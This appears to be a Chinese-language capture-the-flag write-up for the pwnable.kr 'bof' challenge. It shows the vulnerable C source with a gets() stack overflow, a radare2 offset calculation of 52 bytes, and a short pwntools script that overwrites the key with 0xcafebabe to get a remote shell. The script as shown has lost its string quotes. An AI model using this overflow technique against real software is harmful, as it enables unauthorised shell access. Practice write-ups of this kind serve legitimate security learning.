pwnable.kr第三题:bof

0x000查看源码

分享图片

分享图片

打开bof.c文件

 1 #include <stdio.h>
 2 #include <string.h>
 3 #include <stdlib.h>
 4 void func(int key){
 5     char overflowme[32];
 6     printf("overflow me : ");
 7     gets(overflowme);    // smash me!
 8     if(key == 0xcafebabe){
 9         system("/bin/sh");
10     }
11     else{
12         printf("Nah..\n");
13     }
14 }
15 int main(int argc,char* argv[]){
16     func(0xdeadbeef);
17     return 0;
18 }

 

源码分析:

  要想执行第9行的“system("/bin/sh")”,程序会先判断key的值是否为0xcafebabe,现在最关键的地方就是找到key的位置,并将地址的内容覆盖为0xcafebabe。

0x001分析汇编代码

  使用radare2分析汇编代码

  

分享图片

 

 

      查看main函数

      

分享图片

 

 

 查看func

分享图片

 

 

 分析程序可知,用户输入的地址为var int local_2ch @ ebp-0x2c,key存放的地址为arg unsigned int arg_8h @ ebp+0x8,现在,要做的就是计算用户输入的地址到key存放的地址之间相差多少字节,0x8+0x2c,化为十进制结果为52,所以在这段距离中填充任意字符,然后再填充两个字节0xcafebabe,就可以获得一个shell了。

0x002 脚本编写

from pwn import *

pwn_socket=remote(pwnable.kr,9000)
pwn_socket.sendline(a*52+\xbe\xba\xfe\xca)
pwn_socket.interactive()

运行即可获得一个shell:

分享图片

相关文章

自1998年我国取消了福利分房的政策后,房地产市场迅速开展蓬...
文章目录获取数据查看数据结构获取数据下载数据可以直接通过...
网上商城系统MySql数据库设计
26个来源的气象数据获取代码
在进入21世纪以来,中国电信业告别了20世纪最后阶段的高速发...